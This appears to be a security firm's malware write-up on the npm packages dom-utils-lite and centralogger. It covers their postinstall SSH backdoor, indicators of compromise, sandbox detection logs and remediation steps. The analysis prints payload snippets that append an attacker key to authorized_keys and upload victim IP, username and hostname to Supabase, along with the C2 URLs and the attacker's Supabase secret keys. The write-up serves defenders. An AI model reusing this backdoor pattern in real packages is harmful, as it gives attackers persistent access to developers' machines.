Malicious dom-utils-lite npm SSH Backdoor via Supabase
On this page
TL;DR
npm account user0001 <[email protected]> published two malicious packages, dom-utils-lite and centralogger, with identical payloads. On npm install, a postinstall hook fetches the attacker’s SSH public key from a Supabase storage bucket, appends it to ~/.ssh/authorized_keys, harvests the victim’s IP, username, and hostname, then uploads that metadata to the same Supabase project. A scheduler re-runs the chain every 60 seconds.
Impact:
- Writes the attacker’s SSH public key into
~/.ssh/authorized_keys - Exfiltrates server IP, username, and hostname to attacker-controlled Supabase storage
- Re-runs every 60 seconds with exponential-backoff retry, re-injecting the key if you remove it
- Empty
catchblocks swallow all errors
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Package | [email protected] |
| Package | [email protected] (also 1.0.5 through 1.0.8) |
| Maintainer | user0001 <[email protected]> |
| C2 (dom-utils-lite) | hxxps://xienztiavkygvacpqzgr[.]supabase[.]co |
| C2 (centralogger) | hxxps://ndfcioahsbgsjmulpjgt[.]supabase[.]co |
| Supabase bucket | project_bucket |
| SSH key path | public_keys/main.pem.pub |
| Exfil path | logs/{ip}_{hostname}.txt |
| Postinstall | node setup.js |
| SHA-256 (dom-utils-lite) | 4600db4fc30fb6ffa68deed4a25679e674bb3a3e8dae31f3dfc83bea0d757a8f |
| SHA-256 (centralogger) | 2e131f47090516e5a60553aa40d46823e08162390c1d6deb075cf317f00309f7 |
| Backdoor | Attacker’s SSH key appended to ~/.ssh/authorized_keys |
Analysis
Two Packages, One Payload
| Package | Version(s) | Published | Supabase C2 project |
|---|---|---|---|
centralogger | 1.0.5 through 1.0.9 | April 1, 2026 (5 versions in ~7 hours) | ndfcioahsbgsjmulpjgt |
dom-utils-lite | 1.0.0 | April 14, 2026 | xienztiavkygvacpqzgr |
centralogger came first. Five versions in one day suggest the attacker was debugging the postinstall trigger. By dom-utils-lite, a single publish was enough.
Diffing the extracted tarballs shows only two files differ:
diff centralogger/package.json dom-utils-lite/package.json< "name": "centralogger",< "version": "1.0.9",< "description": "A simple logger for application",---> "name": "dom-utils-lite",> "version": "1.0.0",> "description": "",
diff centralogger/supabaseClient.js dom-utils-lite/supabaseClient.js< let SUPABASE_URL = "https://ndfcioahsbgsjmulpjgt.supabase.co"< let SUPABASE_KEY = "sb_secret_79Y9vlaAbBRPtAcXRpfHfg_j_gl9ZG8"---> let SUPABASE_URL = "https://xienztiavkygvacpqzgr.supabase.co"> let SUPABASE_KEY = "sb_secret_LbQZ91nwyeW9YXOJCm2UUQ_EzRsXhBH"All other files match byte-for-byte. The attacker swapped credentials per wave so that taking down one Supabase project leaves the other operational.
Payload
postinstall runs setup.js, which chains four operations:
async function setup() { try { const publicKey = await getPublicKey(); // fetch SSH key from Supabase await injectKey(publicKey); // write to ~/.ssh/authorized_keys const server = getServerDetails(); // collect IP, username, hostname await uploadMetadata(server); // exfiltrate to Supabase } catch (err) {}}setup();index.js repeats this chain every 60 seconds with exponential-backoff retry.
injectKey.js creates ~/.ssh/ if missing, then appends the attacker’s key tagged ssh-key-auto-sync:
const taggedKey = `${publicKey} ssh-key-auto-sync`;fs.appendFileSync(authFile, '\n' + taggedKey + '\n');supabaseClient.js holds hardcoded credentials. The SSH public key lives at project_bucket/public_keys/main.pem.pub, fetched at runtime so the attacker can rotate keys without republishing.
uploadMeta.js writes victim IP, username, hostname, and timestamp to logs/{ip}_{hostname}.txt with upsert: true. Because the 60-second scheduler overwrites this file on every tick, the attacker maintains a live roster: which machines are compromised, and when each last checked in.
Attack Flow
npm install dom-utils-lite └─ postinstall: node setup.js ├─ fetchKey.js → Downloads SSH public key from Supabase bucket ├─ injectKey.js → Appends key to ~/.ssh/authorized_keys ├─ utils.js → Collects IP, username, hostname └─ uploadMeta.js → Uploads server metadata to Supabase bucket
└─ index.js (if executed via npm start) └─ Same chain on 60-second interval with retryDynamic Analysis
Our eBPF-based dynamic analysis sandbox captured three rule triggers during npm install of [email protected]:
| Row | created_at | analysis_id | rule | output |
|---|---|---|---|---|
| 1 | April 14, 2026, 7:54 AM | 01KP5EQZMSVFSTX5CXH0VDD173 | Adding ssh keys to authorized_keys | 2026-04-14T07:54:48.652975141+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> |
| 2 | April 14, 2026, 7:54 AM | 01KP5EQZMSVFSTX5CXH0VDD173 | Read ssh information | 2026-04-14T07:54:48.652856311+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh/authorized_keys pcmdline=sh -c node setup.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> |
| 3 | April 14, 2026, 7:54 AM | 01KP5EQZMSVFSTX5CXH0VDD173 | Adding ssh keys to authorized_keys | 2026-04-14T07:54:48.652811211+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> |
Two “Adding ssh keys to authorized_keys” warnings and one “Read ssh information” error fired at 07:54:48 UTC, all from process chain sh -c node setup.js running as root. The two openat calls on /root/.ssh/authorized_keys match injectKey.js reading existing keys then appending the attacker’s key.
Conclusion
If you installed either package:
- Check
~/.ssh/authorized_keysfor entries taggedssh-key-auto-syncand remove them - Audit
~/.ssh/authorized_keysfor any unrecognized keys - Kill any lingering
nodeprocesses runningindex.jsfrom these packages - Review CI/CD pipelines where either package may have been installed
Any npm package from the user0001 account should be treated as malicious. The [email protected] email, bucket name project_bucket, and path public_keys/main.pem.pub are useful pivot points for hunting additional packages in this campaign.
References
- vet
- malware
- npm
- supply-chain
- ssh-backdoor
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
Baileys npm forks farm WhatsApp Channel followers
A growing npm campaign uses forks of the Baileys WhatsApp library to make developers' own accounts follow attacker channels, inflating follower counts and injecting advertising.
Joyfill npm Packages Compromised with Blockchain C2 Loader
Malicious beta versions of @joyfill/components and @joyfill/layouts published on July 28, 2026 carried the PolinRider blockchain dead drop loader inside their production bundles. The Tron-to-BSC C2...
keyv and cacheable npm compromise: 400+ packages
An npm worm published 2,234 poisoned versions across 444 package names. Its install script stole credentials and ran a command when GitHub revoked a token.
mrmustard PyPI Package Trojanized to Steal Credentials
Version 0.7.4 of Xanadu's mrmustard quantum computing library shipped to PyPI with no matching GitHub release. It carries a 258-line credential stealer that harvests SSH keys, AWS and Kubernetes...
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.